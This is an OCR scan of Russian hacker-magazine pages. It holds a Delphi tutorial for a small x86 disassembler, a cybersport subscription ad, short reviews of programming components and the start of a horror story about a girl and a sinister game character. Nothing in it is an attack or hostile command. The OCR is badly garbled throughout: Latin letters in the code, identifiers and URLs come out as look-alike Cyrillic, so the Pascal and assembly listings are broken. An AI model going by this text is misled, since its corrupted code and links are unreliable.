Даже немного жаль, что нам 
потребуется только тасІОІзАзт. 

[ппабОізАзт] Данный компонент 
практически не документиро- 
ван, Описаны только прототипы 
функций и структур. Примеров 
же использования нет ни одного, из чего 
следует, что разбираться со всем придется 
нам самим. Что ж, давай рассмотрим функ- 
ции данного рульного компонента. Основ- 
ных всего две. Первая позволяет дизассе- 
мблировать одну машинную инструкцию. 
Ее прототип выглядит следующим образом: 

^ипсііоп РагзеСосІе (сосіе: роіпіег; ѵаг сІізАзт: 
з(гіпд) : ТСобеІпіо; оѵегіоасі; 

сосіе — это роіпіег (указатель) на код 
инструкции, которую мы хотели бы дизас- 
семблировать. 

СІізАзт — переменная, в которую будет зане- 
сена первая дизассемблированная строчка. 
ТСосіеІпІо — информация, полученная в 
результате анализа кода. Одним из эле- 
ментов этой структуры является ссылка на 
следующую инструкцию. С ее помощью 
мы можем дизассемблировать в цикле 
сразу несколько инструкций, следующих 
друг за другом. 

[структура ТСосіеІпІо] 

ТСобеІпІо = гесогсі 
// действительно ли это опкод 

ІзѴаІісІ : Ьооіеап; 

// опкод, один ($00хх) или два ($01хх) байта 

Орсобе : ѵѵогсі; 

// МосІРт-байт, если присутствует, иначе 0 
МобПт : Ьуіе; 

// это инструкция саІІ? 

СаІІ : Ьооіеап; 

// это инструкция ]тр? 

Отр : Ьооіеап; 

// адрес относительный или абсолютный? 

РеІТагдеІ : Ьооіеап; 

// сам адрес 



Тагдеі : роіпіег; 

// указатель на данные в коде 
РТагдеІ ; роіпіег; 

// указатель на указатель на данные 
РРТагдеІ : ТРРоіпІег; 

// размер данных в байтах (1/2/4) 

ТагдеіЗіге ; іпіедег; 

// может ли размер опкода быть расширенным? 

ЕпІагдеаЫе : Ьооіеап; 

// адрес начала инструкции 

ТЬІз : роіпіег; 

// адрес следующей инструкции 
Ыехі : роіпіег; 

епб; 

Также нам будет интересна еще одна 
функция, особенностью которой является 
способность дизассемблировать не одну 
инструкцию, а всю функцию целиком, авто- 
матически находя ее конец по команде 
геіп. Вот ее прототип: 

Іипсііоп РагзеРипсІіоп (Іипс: роіпіег; ѵаг 
СІізАзт: зігіпд) : ТРипсІіопІпіо; оѵегіоасі; 

Тут все аналогично предыдущей функ- 
ции, только в данном случае код будет 
дизаосемблироваться не по одной ма- 
шинной команде, а целиком. При этом 
компонент попытается сам определить 
ссылки на АРІ и прочие данные, что, не- 
сомненно, огромный плюс. Структура, 
возвращаемая данной функцией, на по- 
рядок больше предыдущей. В ней куча 
разных членов: размер дизаосембли- 
рованного кода, данные об ошибках (в 
том числе в виде строки), о переходах 
(]тр и саІІ) и т.п. 

Есть и еще одна функция — третья, о кото- 
рой упоминаний оовсем мало: 

Іипсііоп РагзеРипсІіопЕх (Іипс: роіпіег; ѵаг 
СІізАзт: зігіпд, ехсерІАсІсІг: Роіпіег; 
тахЕіпез: Іпіедег; аиІоОеІітіІегз: Вооіеап); 

Насколько я понял, она не возвращает отрук- 
туры, зато дизасмит весь код нужной нам 
функции и кладет его в переменную сІізАзт. 
ехсерІАсІсІг — это адрес конца дизаосе- 
мблируемой функции (указывать необяза- 
тельно), тахЕіпез — число дизассемблиру- 
емых строк (еоли о, то все), оиІоОеІІтіІегз — 
точно не могу сказать, но ориентировочно 
это флаг, завершать ли функцию первым 
геі'ом или нет. 

[кодим] Теперь, когда мы разобрались, как 
управлять компонентом, можно начинать 
пиоать дизасоемблер. Открывай ОеІрТіі, 
создавай новый проект, добавляй в раздел 
изез наш тасЮізАзт и поме- 
щай на форму пару ЕсІІТов, 
Мето и два СоттапсІВиНоп а. 
В результате этих несложных 
манипуляций у тебя должно по- 
лучиться нечто похожее на ин- 
терфейс проги (см, рисунок). 

В первое текстовое поле мы бу- 
дем вводить имя открываемого 
для дизаосемблирования фай- 
ла, а во второе — адрес кода. 
Так как дизассемблер понима- 
ет только роіпіег' ы (указатели) 
на код, нам нужна функция, ко- 
торая будет открывать ЕХЕ- 
файл, считывать по указанному 
омещению код в некоторый бу- 




[Разт — простой и удобный] 
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фер и возвращать на него роіп+ег. Ну раз 
нужна, напишем: 

(ипсііоп Т(гтМаіп.(Зе1СосІе(з1гРІІеМате: 
зігіпд; з(гО?!зе(: зігіпд): роіпіег; 
ѵаг 

ІтРІІе: іпіедег; 
геасІ_Ьу1ез: сагсііпаі; 

ЕР_сосіе: аггау[1 ..64000] о! Ьуіе; 

Ьедіп 

// открываем файл 
е:=Сгеа(еРІІе(рс(таг(з1гРІІеМате), 
СЕМЕРІС.ПЕАО, 

РІІЕ_5НАПЕ_РЕАО + 

РІЕЕ_ЗНАРЕ_\Л/РІТЕ, 

N11, ОРЕМ_ЕХІЗТІМе, 
РІЕЕ_АТТРІВиТЕ_МОРМАІ, 0); 

// если файл открыт успешно 
і( (тРІІео-1 Шел Ьедіп 
// устанавливаем файловый указатель на 
// начало дизассемблируемого кода 
Зе1РІІеРоіп1ег(ЬРІІе,31гТоІп1(з1гО((зе(), 
ЫІЦРІЕЕ.ВЕеіМ); 

//считываем 64000 байт кода 
РеабРІІе(ЬРІІе, ЕР_СосІе, 64000, 
геаб_Ьу(ез, МІЕ); 

// закрываем файл 
СІозеНапсІІе(ЬРІІе); 

// возвращаем роіпіег на считанный код 
гезиІ(:= @ ЕР_СосІе; 
епб еізе Ьедіп 

// если не смогли открыть файл — выходим 

ехіі; 

епб; 

епб; 

В данной функции мы использовали только 
\Л/іп32 АРІ . В данном случае это значительно 
удобнее, чем морочиться со встроенными 
средствами ОеірЬіі, Смотри. Функция 
СгеаІ'еРііе открыла файл, заданный в тексто- 
вом поле, и вернула хэндл ЬіРІІе для работы 
с ним. ЗеРРІІеРоіпРег указала, откуда в файле 
начинать считывать байты, а РеасІРІІе, соот- 
ветственно, эти байты считала в буфер 
ЕР_сос1е (роіоРег на который мы будем по- 
том использовать). Вот и все. Конечно, по- 
хорошему надо бы использовать РІІе тар- 
ріпд для получения указателя на код, но для 
наших целей хватит и того, что есть. 

Теперь напишем функцию, которая будет 
дизассемблировать по одной инструкции 
код, находящийся по заданному роіпТег'у: 

(ипсііоп Т(гтМаіп.0ізазт(зІгАзт: роіпіег): 
зігіпд; 
ѵаг 

зІгОізАзт, зігбазт: зігіпд; 
геіѵаі: ТСобеіпіо; 

Ьедіп 

// зІгОізАзт — первая строка листинга 
геіѵаі :=тасЮізАзт . РагзеСосіе(зІгАзт , 
ЗІгОізАзт); 

// в переменной зігсіазт мы будем 
// хранить весь листинг 
зІгсІазт;=зІгОІ5Азт; 

// перебираем команды до тех пор, пока 
// не встретим геі 

ѵѵЬііе з1гроз(рсЬаг(з1гОізАзт),'геТ)= піі бо 
Ьедіп 

// дизассемблируем очередную команду 
геІѵаі;=табОізАзт.РагзеСобе( 
геіѵаі . Мехі, ЗІгОізАзт) ; 

// добавляем ее в конец листинга 
5Ігбазт:=з1гбазт ч- #13#10 ч- 
зІгОізАзт; 

епб; 



// возвращаем листинг 
гезиі1:=з1гбазт; 
епб; 

Функция будет дизассемблировать машин- 
ный код до тех пор, пока не встретит геі или 
ошибку доступа к памяти. Подобная ошиб- 
ка (ехсерііоп) может возникнуть, если во 
всем коде, скопированном в буфер, так и не 
обнаружится геі, В этом случае наша прог- 
рамма просто вылезет за пределы выделен- 
ной памяти, и сработает ехсерііоп, вызвав у 
пользователя шквал эмоций («Ваша прог- 
рамма выполнила недопустимую опера- 
цию и будет закрыта» или что-нибудь вроде 
этого). Так что в будущем надо бы добавить 
обработку этой ошибки, чтобы наша прога 
не вылетала всякий раз при отсутствии геі'а. 
Когда основные функции готовы, нам оста- 
ется только написать обработчики для кно- 
пок на форме. Давай сделаем так, чтобы 
одна кнопка дизассемблировала нужный 
нам код покомандно с помощью функции, 
описанной выше, а вторая использовала 
бы РагзеРипсІіопЕх, Обработчики должны 
получиться вот такими: 

[первая кнопка] 

ргосебиге Т1гтМаіп.стсЮіза5тСііск( 

Зепбег: ТОЬ]ес1); 

Ьедіп 

1хШізазт.Тех1:=Оізазт( 
(Зе1Собе(1хІРІІеМате.Т ехі, 

ІхЮіІзеІ.ТехІ)); 

епб; 

[вторая кнопка] 

ргосебиге Т1гтІУІаіп.стб0ізАзтРипс1іопСііск( 
Зепбег: ТОЬ]ес1); 
ѵаг 

: зігіпд; 

Ьедіп 

табОізазт.РагзеРипсІіопЕх( 

Се1Собе(1х1РііеЫате.Тех1, ЬіІОіІзеІ.ТехІ), 
ЗІгОізАзт, піі, 0,1гие); 
Іх10ізазт.ТехІ;=зІг0ізАзт; 
епб; 

Можно считать, что на этом разработка на- 
шего дизассемблера закончилась. Теперь 
надо его как следует протестировать. 

[тестируем] Давай, чтобы проверить рабо- 
тоспособность нашего дизассемблера, 
напишем какую-нибудь простенькую прог- 
рамму и скормим ему. Логично, что прог- 
рамму писать надо на ассемблере, иначе 
мы не поймем, правильно ли он перевел ма- 
шинный код в ассемблерный листинг. Бери 
с диска Еазт, один из самых юзабельных на 
сегодня компиляторов ассемблера, запус- 
кай его редактор и вбивай следующий код: 

[тестовый проект] 

; путь к файлу придется поменять 
іпсіибе 'С:\АЗт\1азт\ІМСЕЕЮЕ\ѵѵіп32ах.іпс' 
.баіа 

Зегіаі бЬ ’Зоте ргодгат',0 
_МздСар1іоп бЬ 'Оізазт 1Ьіз',0 
.собе 
зіагі: 

; вывод сообщения на экран 
ризЬ о 



ризЬ Зегіаі 
ризЬ _МздСар1іоп 
ризЬ о 

саіі МеззадеВох 
; выход из программы 
ризЬ о 

САЫ ЕхіІРгосезз 

;установим конец процедуры, чтобы наш 

; дизассемблер не сдох 

геіп 

.епб зІагІ 

Программа простенькая — выведет сооб- 
щение в виде МеззадеВох'а и выйдет. Но 
нам и этого достаточно, чтобы понять, ра- 
ботает ли дизассембер. 

В результате компилирования этого тесто- 
вого проекта должен получиться ЕХЕ-файл 
размером 2 Кб (да, дельфям до ассембле- 
ра в этом плане далеко). Его-то мы и скор- 
мим нашему детищу. 

Запускай только что написанный дизассе- 
мблер. Вводи в одно текстовое поле путь к 
тестовому проекту, а в другое — адрес точ- 
ки входа: 1024 (4000). В простеньких ассе- 
мблерных прогах точка входа обычно рас- 
полагается в начале секции, смещение ко- 
торого часто равно именно 4000. Конечно, 
надо ковырять РЕ-заголовок файла, чтобы 
получить точное смещение, а не писать его 
от балды, но с этим, думаю, ты справишься 
сам. Жми теперь любую из кнопок и смот- 
ри, что появилось в Мето. 



ООШЬбс 


ризіт 


0 


ООШЬбе 


ризГі 


$401006 


ООШЬбЗ 


ризіт 


$401000 


00111Ь68 


ризіт 


0 


ООШЬба 


саіі 


6\лгог6 ріг [$40307а] 


00111Ь70 


ризіт 


0 


00111Ь72 

00111Ь78 


саіі 

геі 


6\лгаг6 ріг [$4030бс] 



Подобный листинг означает, что все рабо- 
тает правильно. Значения $40307а и 
$40305с — это адреса ячеек МеззадеВох и 
ЕхіІРгосезз в таблице импорта. $40100с1 и 
$401000 — наши данные. 

Конечно, с адресами этими получается не 
очень красиво, но кто тебе мешает улуч- 
шить нашу прогу? Добавить, скажем, ана- 
лизатор РЕ-заголовков и таблицы импорта, 
который брал бы имена АРІ и подставлял 
вместо адресов. Вместо нашей функции 
□ізазт можно написать нормальную, кото- 
рая дизассемблировала бы весь файл, а 
не только до первого геі'а. Улучшать наш 
дизассемблер можно до бесконечности, 
и это очень легко. Главное — иметь жела- 
ние и фантазию. А с этим, надеюсь, у тебя 
проблем нет © 




[результат работы нашей программы] 



в первом 
номере; 




БОЛЬШЕ. ЧЕМ ПРОСТО СПОРТ 



Ночешь? 



- надрать коллег в Соипіег-Бігіке или риаке 3? 

- попасть на зарубежный турнир? 

- замутить собственный чемпионат? 

- выиграть навороченный автомобиль? 

- стать крутым киберспортсменом? 




На страница»: 

- эксклюзивный репортаж 
с чемпионата мира 
по киберспорту РСОМЗ 

- скандальная рубрика 
«Папарацци» 

- самые безбашенные 
призы в истории 
киберспорта 

- интервью; иМкіпР, 
□еаРтаа ЕиіІ, Ііепета. 
іЛгШз.Рго-ЗаІІу 





I ,РП^:«Т 

-Е 'АмЧІМІРР 



ФИО 



Возраст е-таіі 

Ядрес с индексом [для отправки первого номера) 



Получи 1-и номер 

6ЕСПЛНТН0! 



КУПОН 



суЬеггрогІ 



Ж У РІ^А Л 



Заполни анкету журнала СуЬегарогІ на сайте 
Гіир://шшаі.аатеІапР.ги или заполни купон 
и отправь его одним из трек способов до 13 июлн: 



- по е-таІІ; сиЬегврогШоатеіапсі.ги 

- по факсу: 92Ч-96-9Ч 

- по адресу: 10Р031. Москва. 

Дмитровский переулок, д. Ч. строение 2. 
ООО «г ейм Лэнд», отдел подписки 



На оио: 



- видеоуроки игры в 
ШагсгаП 3. риаке 3 и 
Соипіег-Зігіке 



- лучшие мувики с 
фрагами 



- избранная коллекция 
демок с турниров 



- видео с женского 
турнира 






_0 

о 

_0 




Фленов Михаил ака НоггіЛс ([гИр://ѵѵѵѵѵѵ.ѵг-опІіпе.ги) 

ОБЗОР КОМПОНЕНТОВ 




Как всегда, на диске ты 
найдешь все компоненты из 
обзора. 
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РОВТ РЕОІРЕСТОВ Ѵ1.0 (ѵізиаі с++) 

[описание] Почему начинающие программисты боятся слов 
«редиректор порта»? В них ведь нет абсолютно ничего страш- 
ного, да и в самом программировании тоже. Специально для 
начинающих я нашел хороший пример, по которому на прак- 
тике можно легко разобраться, как работает эта программа. 

[особые отличия] 

+ Простой, но очень наглядный пример, удобный для обучения. 
+ Код примера вместе с комментариями и большим количе- 
ством пробелов и переводов строк занимает всего 4 Кб. 

- Простота — это и недостаток. По примеру легко учиться, но 

использовать его в деле резона мало. Слишком мало воз- 
можностей он предоставляет. 

- Комментарии на немецком. 



[диагноз] Пример годится только для обучения, ну или для 
создания маленького и очень простенького редиректора. 
Если бы я решил создавать подобную программу, то как ми- 
нимум сделал бы работу с портами асинхронной. Так что 
есть куда стремиться. 

[ссылки] Шр://т/ѵѵѵ.сІѳІікоп.сІѳ/ 2 Ірз/Ьоипсѳг,гір 



ИГРЫ ФРАКТАЛОВ (ѵізиаі с++) 

[описание] Любой программист, работающий с графикой, 
обязательно дол>кен быть знаком с фракталами. Если ты со- 
бираешься создавать игры или демки, то основные алгорит- 
мы рисования этих потрясающе красивых графических 
объектов ты должен уметь писать с закрытыми глазами. Не- 
давно я нашел интересный пример, который демонстриру- 
ет создание основных фракталов в виде хранителя экрана. 

[особые отличия] 

ч- в примере реализованы следующие фракталы: множе- 
ство Жулиа, дракон Хартера-Хейтуэя, множество Мандель- 
брота, триадная кривая Кох, снежинка Кох, последователь- 
ность Акселя Туэ, Марстона Морса, салфетка Серпинско- 
го, ковер Серпинского. 

- Автор явно забыл про оптимизацию, и вывод графики про- 

исходит слишком медленно. Повысить скорость можно вво- 
дом двойной буферизации или даже переводом на ОігесТХ. 
Оптимизировать необходимо и сами алгоритмы. 

- Для адаптации примера к ѴС .МЕТ 2003 пришлось немного 
попотеть. 



[диагноз] Исходник очень прост и полезен для обучения, но 
для «боевого» или коммерческого использования потребует 
серьезной доработки. Например, не мешало бы все алго- 
ритмы немного оптимизировать. 

[ссылки] Шр://апс^геі5'12.пагос1.ги/ргодгат$/еате$ОіРгас- 
і'аІз_08.20045оигсѳ.гір 





ТСІРІМАСЕ (сіеірііі) 

[описание] Сколько бы ни предсказывали смерть ѲІР-файлам, ху- 
же от этого им не становится. Формат по-прежнему популярен и ис- 
пользуется везде где ни попадя. Основная причина заключается в 
том, что ѲІР — это, наверное, единственный нормальный графиче- 
ский формат, поддерживающий растровую анимацию при макси- 
мальной простоте, скорости и минимальном размере. Лучшим, на 
мой взгляд, компонентом для работы с ѲІР в Оеіріпі является ТѲІРІта- 
де. В интернете полно компонентов с таким именем, я же имею в ви- 
ду разработку программиста по имени Апсіегз Меіапсіег. 

[особые отличия] 

-г Полная реализация спецификаций ѲІР87а и ѲІР89а. 

-г Интеграция в Оеірічі, а именно в компоненты ТІтаде, ТОрепРісРи- 
геОіаІод и ТЗаѵеРісРигеОіаІод. Это значит, что при открытии графи- 
ческого файла его можно просмотреть прямо в диалоге выбора 
файла. Однако эта возможность немного глючит, если просмо- 

треть анимационный файл и сразу после этого его открыть. 

-г Поддержка редактирования кадров, всех расширений, ком- 
ментариев и опций. Правда, сохранение изменений сделано по- 

идиотски :(. 

+ Возможность изменения глубины цвета. Возможность интересная, 
но и при ее работе замечены глюки. Иногда необъяснимым обра- 

зом теряется палитра, и программа умирает. 

-г В поставке есть пример, показывающий преобразования из 

формата ѲІР в АѴІ и наоборот. Очень занимательно. 

+ Компонент абсолютно бесплатен и предоставляется со всеми 

исходниками. 

- Как ты уже понял, глюки. Однажды я писал разработчикам о 
необходимости подправить несколько проблемных мест и даже 
предложил код, который исправляет ошибки. Но в последней вер- 
сии косяки так и не были исправлены. 



[диагноз] Несмотря на обилие глюков, компонент стоящий, пото- 
му что действительно полностью реализует стандарт. Сейчас эт- 
им не 1 <а>кдый платный аналог может похвастать 

[ссылки] Шрі/Утѵѵт. і'оггу.пеі/ѵсІ/дгарЫсв/ді^/ді^ітаде. ехе 




ТВАЗЗРІАУЕР (сіеіріті) 

[описание] Я уже не раз говорил, что звук — это моя болезнь. Я лю- 
блю работать со звуком и графикой, потому что здесь приходится 
строить достаточно сложные, но очень интересные алгоритмы. 
Чтобы ощутить всю прелесть этого дела, необходимо все писать 
самому. Если лень, но к делу приобщиться все-таки хочется, то оп- 
тимальный выбор — использование сторонних компонентов. Как 
раз недавно я наткнулся на отличный компонент, вытворяющий со 
звуком потрясающие вещи. 

[особые отличия] 

+ Трудно сказать, преимущество это или недостаток, но компо- 
нент использует в качестве движка Ьазз. Это нетрудно понять да- 
же из названия. Благодаря движку можно проигрывать файлы 

ѴѴАѴ, МРх (МР1/ МР2/ МРЗ), ѴѴМА и ОѲѲ. 

-н В примере реализован эквалайзер и эффекты Есііо и РеѵегЬ. 

-г Компонент поддерживает и основные форматы потокового зву- 
ка. Так что с помощью него можно будет слушать сетевое радио. 
+ В виде плагинов реализовано множество разных визуализаций 
воспроизводимого звука и РЗР-эффектов. 



[диагноз] Хороший компонент для ленивых. В нем уже реализова- 
но все, что можно. Чтобы сделать с помощью такого собственную 
версию ѴѴІпАМР, много времени не понадобится. 

[ссылки] Шр://ѵтѵ\/Логгу.пеі/ѵсІ/ттесІіа/аисІіо/ТВА 55 РІауег 18 . 2 Ір 




[хакер 06 [78] 05 > КОДИНГ 119] 




ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХС 




Техногном 




ОЛЯ СЛАДКО ПОТЯНУЛАСЬ И ЗАЖМУРИЛАСЬ. 
ПЕРВЫЕ ВЕСЕННИЕ ЛУЧИ, ВОРВАВШИЕСЯ В 
ОКНО, С НЕПРИВЫЧКИ СЛЕПИЛИ. СУББОТА. 
ВРЕМЯ, КОГДА НЕ НУЖНО ИДТИ В НЕНАВИСТ- 
НУЮ ШКОЛУ И МОЖНО полностью УГЛУ- 
БИТЬСЯ в свои ДЕЛА. ПОТЯНУВШИСЬ В ПОС- 
ЛЕДНИЙ РАЗ, ДЕВОЧКА ВСТАЛА С ПОСТЕЛИ И 
СЕЛА ЗА КОМПЬЮТЕР I тіпсіѵуОгк (тіпс1у/0гк@датѳ!апс1.ги) 



Поиграй со мной сегодня 

[суббота — среда] Монитор вышел из спя- 
щего режима, на экране показался рабо- 
чий стол с фоном облаков, усеянный мно- 
гочисленными ярлыками. Проснувшись, 



Оля первым делом всегда читала френдленту в Ііѵе]оигпаІ'е и от- 
вечала на электронные письма. Несмотря на то что в реальной 
жизни у нее была только одна подруга, в Сети недостатка в друзь- 
ях не имелось. Углубившись в чтение, Оля не сразу заметила ко- 
робку, которая лежала на столе и теперь с удивлением смотре- 
ла на изображенную на ней жутковатую рожицу. На лицевой сто- 
роне значилась большая выразительная надпись «Техногном», 
уродец в шлеме, опутанном проводами, очевидно, и был главным 
героем. Мама никогда не покупала компакт-диски сама, тем бо- 
лее компьютерные игры, — обычно ее приходилось долго угова- 
ривать. А тут вдруг решила сделать такой подарок. 

— Ма-ам! — позвала девочка и тут вспомнила, что мама собира- 
лась в эту субботу съездить на дачу. 

Компакт-диск был надежно запечатан в пленку, внутри находи- 
лась тоненькая брошюрка с информацией о программе и рекла- 
мой следующих продуктов. Оля достала СО и вставила его в си- 
диром. Процесс инсталляции не занял много времени. На экра- 
не появилась заставка — тот самый карлик в шлеме (у девочки 



этот шлем вызвал ассоциации с электрическим стулом) с мерз- 
кой улыбкой, но теперь это была не статичная картинка. Из коло- 
нок раздался жутковатый голос «Добро пожаловать», карлик на 
экране разразился жутким смехом. Затем появилось меню. 

Игра была создана на продвинутом трехмерном движке, поэтому 
все происходящее было очень реалистичным. На морде гнома 
была видна каждая волосинка и бородавка — авторы постара- 
лись, чтоб главный персонаж был как можно уродливее. В отличие 
от других игр, где управляешь положительным героем, здесь мож- 
но было ощутить себя настоящим злым гением. Выбираясь из ла- 
биринта, Техногном строил козни известным героям русских ска- 
зок, за что начислялись дополнительные очки. 

Оля нажала кнопку «ЗТагТ дате» и оказалась в каком-то подзе- 
мелье. Карлик презрительно смотрел на нее и с нетерпением 
ждал указаний. Ощущать себя в шкуре этого уродца девочке 
было неприятно, но она из любопытства вступила в игру и приня- 
лась выполнять задания. С каждый разом миссии становились 
все гаже и гаже. Если в начале ей предлагалось высыпать ведро 
песка на голову русалки, со временем, вооружившись битой, 
бензопилой и другими машинами убийства, гном разделывался 
с Дедами Морозами, Иванами Царевичами, Колобками и други- 
ми сказочными героями. Девочка увлеклась и оторвалась, толь- 
ко когда зазвонил телефон. 

— Алло? 

— Оль, пошли гулять! Погода классная, — послышался в трубке го- 
лос подруги Кати. 

— Когда? 

— Сейчас. Хватит за своим компьютером сидеть. 

— Я не сижу. 

— Да знаю я тебя. Давай через 15 минут возле «Ласточки». 

— Ладно. 

Вернувшись к компьютеру, Оля нажала АЕТ-Р4, вынула диск и по- 
ложила его на стол. А потом начала одеваться. Катька права, по- 
ра подышать свежим воздухом. 

[* * *] Девочки прекрасно провели время. Погуляли по парку, по- 
кормили голубей, сходили в кинотеатр на новый фильм с Брэдом 
Питом. Они с Катей дружили уже третий год, практически сразу 
после того, как Катю перевели в их класс. У подруги тоже был 
компьютер, но она не разделяла столь сильного увлечения. Мак- 
симум, на что хватало, — поболтать в \л/\л/\л/-чате или аське и почи- 
тать фанатский сайт любимой группы НІМ. В отличие от Оли, у Кати 
были и другие подружки, с которыми она проводила время. Но 
про свою «интернет-маньячку», как Олю называла Катя, тоже не 
забывала. Однажды Катя спросила подругу, почему ее так притя- 
гивают компьютеры. Оля не смогла тогда ответить и потом долго 
думала над этим. В конце пришла к мнению, что это ее врожден- 
ная особенность, отличающая от остальных девочек. 

Когда вечером Оля вернулась домой, она чувствовала себя заме- 



чательно. Мама тоже успела приехать с дачи и уже кулинарила на 
кухне. В квартире витал запах только что испеченных пирожков, 

— Как прошел день? — поинтересовалась Аня у дочки. 

— Отлично, мамуль! 

Девочка стащила с тарелки пару еще горячих пирожков и улизну- 
ла в свою комнату. В аське ее уже ждало несколько сообщений. 
Среди сетевых друзей Оли были разные люди. Большинство из них 

— мужчины, с которыми она познакомилась через сайты зна- 
комств. Оля позаимствовала фотографии модели с одного из зару- 
бежных сайтов, сочинила многообещающую анкету, и откликов не 
пришлось долго ждать. Девочке была забавно наблюдать, как 
взрослые мужчины флиртуют с ней и назначают свидания. Найти 
себе пару через инет было так просто. Конечно, она не восприни- 
мала все это всерьез — ее просто веселили письма «поклонни- 
ков», с самыми яркими из которых она продолжала переписку. 
Благодаря большому опыту общения в Сети, ее письма не были по- 
хожи на детский лепет — их вполне могли принять за сообщения 
18-20-летней девушки. Собеседники бы очень удивились, если бы 
узнали, что их обводит вокруг пальца 12-летний ребенок. 

Среди нескольких мессаг ІСО было письмо от Кати, в котором на- 
ходилась ссылка на очень смешное, по словам подруги, видео. 
Когда она только успела отправить? Когда Оля уходила, послания 
еще не было, а добираться Кате до дома значительно дольше. 
Файл занимал 18 мегабайт. Оля открыла его проигрывателем, и 
на экране появился толстый дядька в наушниках, который смешно 
извивался под детскую песенку и шевелил губами в такт. Толстяк 
так старался, что едва не грохнулся со стула — и Оля вместе с 
ним, не в силах смотреть на это без смеха. Но ближе к концу кли- 
па, когда жестикуляция мужичка достигла пика, картинка вдруг 
резко сменилась, и вместо толстяка на экране появился страш- 
ный гном из игры, движения которого в точности совпадали с дви- 
жениями толстяка. Через мгновение все вернулось на прежнее 
место — мужик продолжал свой комичный танец. 

Улыбка замерла на лице Оли. Она остановила клип, перемотала 
немного назад и нажала «Воспроизвести». Когда на экране сно- 
ва появился гном, она остановила картинку. Злая физиономия 
смотрела прямо на нее — ее оскал и злой взгляд не предвещали 
ничего хорошего, 

— Что за шутки? — рассердилась Оля. 

Она закрыла видеофайл и вместо него запустила один из послед- 
них фильмов, который давно хотела посмотреть. Добрая комедия, 
как раз чтобы расслабиться. Перед сном девочка снова запусти- 
ла видео с толстяком. Гном исчез. 

[* * *] Каждое воскресенье они с мамой навещали бабушку. Она 
жила одна в соседнем районе и очень обижалась, если дочь и 
внучка забывали про нее более чем на пару дней. «Конечно, кому 
я, старая, нужна?» — часто ворчала старушка, но едва Оля перес- 
тупала порог, она забывала о своем недовольстве и бежала дос- 
тавать из холодильника все, что успела при- 
готовить. Людмила Петровна, как и многие 
другие бабушки, считала, что плотно ку- 
шать — залог здоровья, поэтому стол всег- 
да ломился от разных угощений, которые 
не съесть даже за неделю. Однако Людми- 
ла Петровна считала, что Оля должна съ- 
есть все. Иначе не вырастет. 

— Оленька, как у тебя с учебой? — поинте- 
ресовалась бабушка. 

— Как обычно — ничего утешительного. У 
нас одни компьютеры в голове, — ответила 
за Олю мама. 

— Ну, это не дело. Учиться, Оленька, очень 
важно. Без профессии теперь никуда. 

Оля, подперев голову рукой, лениво меша- 
ла ложкой картошку. Ей совершенно не хо- 
телось принимать участие в обсуждении 
собственной неуспеваемости, но деваться 
было некуда. 

— Я, когда вырасту, буду хакером! — нако- 
нец объявила девочка. 

— Ага, и загремишь в тюрьму лет на 10. Там 
тебя быстро отучат, — парировала мать. 

— Не загремлю. Умные хакеры не попада- 
ются. 

— Ох, Ольга. Выброси эти дурацкие мысли 
из головы. Пора уже поумнеть. 
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Оля сердито посмотрела на маму и принялась набивать желудок, 
нарочно громко чавкая. 

После обеда мама и бабушка остались поболтать о своем, а Оля 
ушла в комнату смотреть телевизор. По телеку ничего интересно- 
го не крутили, так что девочка просто прыгала с канала на канал. 
Мобильник в кармане завибрировал. 

Оля редко пользовалась мобильным телефоном, мама купила его, 
чтобы всегда быть в курсе, где дочь. «У вас 1 непрочитанное сообще- 
ние», — висела надпись на панели. Номер отправителя был скрыт. 
Оля нажала кнопку, и надпись изменилась. Сообщение оказалось 
коротким: «Поиграй со мной сегодня». В конце стояла подпись: «ТГ». 
ТГ? Оля попыталась вспомнить, у кого из ее знакомых такие иници- 
алы, но никто не подходил. Может, ошиблись номером? 

[* * *] За окном темнело. Выходные прошли, как всегда, незаметно, 
и завтра уже предстояло идти в школу. Оля сидела за компьюте- 
ром, но делать ничего не хотелось. Мельком посмотрев дневник, 
она заметила, что ничего важного не задали. Впрочем, ничего 
важного не задавали и весь прошедший учебный год. Да и вооб- 
ще, ерунда эта школа. 

Взгляд Оли задержался на коробке с игрой. 

«Поиграй со мной сегодня». 

Почему-то Оля чувствовала, что это не было просьбой. Скорее 
приказ. На коробке стояла яркая, тщательно выведенная надпись 
«Техногном», и она вспомнила инициалы ТГ. Но не мог же выдуман- 
ный карлик попросить ее поиграть с ним. Тем не менее, от мысли 
об этом стало не по себе. 

Девочка вставила компакт-диск. Экран высветил уже знакомое ме- 
ню. Она выбрала пункт «Продолжить» и оказалась в том месте, где 
закончила игру в прошлый раз. Зловещий карлик с ухмылкой погля- 
дывал на нее, вокруг темнели стены лабиринта. Оля вооружилась 
мышкой и повела это существо к месту предполагаемого выхода. 
Карлик не бегал молча. Разработчики игры наделили его голосом 

— визгливым, отталкивающим. Именно такой голос и должен быть 
у негативного героя. Когда гном долгое время никому не строил 
козни, он возмущался и грозил кулаком. Впрочем, недостатка в 
персонажах, над которыми можно было поиздеваться, в игре не 
было. Как и способов издевательства. Каждую успешную продел- 
ку, будь то невинная шалость или убийство, гном сопровождал до- 
вольным визгом, 

Оля не знала, насколько большой в игре лабиринт и сколько пот- 
ребуется времени, чтобы вывести из него карлика. Она и не стре- 
милась узнать. Чем дальше, тем больше ее отталкивала эта игра. 
Скорее всего, она рассчитана на психов, подумала девочка. И 
создана психами. Единственным, что удерживало ее от того, что- 
бы выйти и стереть игру с винта, был главный персонаж. Оля пони- 
мала, что карлик ненастоящий, но он странным образом притяги- 
вал ее к себе. И этот взгляд. . . 

— Наигралась? Пора ложиться, а то я тебя потом не подниму. — В 
комнату вошла мама. 

— Угу. Сейчас. — Оля как раз заканчивала разделываться с бед- 
ным Незнайкой, который на свою беду оказался у нее на пути. 



— И не забудь почистить на ночь зубы! — на- 
помнила мама из кухни. 

Оля вышла в меню и выбрала пункт «Закон- 
чить». Экран на секунду моргнул, после че- 
го появился рабочий стол. 

Девочка вскрикнула. Вместо привычных 
обоев с изображением облаков она уви- 
дела уродливую, скривившуюся от злости 
физиономию гнома. 

[* * *] Она не знала, как сюда попала и что 
это было за место. Странный лабиринт, 
творение сумасшедшего архитектора. 

Повсюду паутина и сухие водоросли, гри- 
бы, растущие прямо из стен, и обрывки бу- 
маг, переносимые ветром с места на мес- 
то. Все вокруг показалось ей очень знако- 
мым, хотя она знала, что никогда раньше 
здесь не была. Оля ощутила тяжесть в пра- 
вой руке и обнаружила, что держит окро- 
вавленный топор. Испугавшись, она откину- 
ла его в сторону, но в воздухе витала опас- 
ность, и она подумала, что если придется 
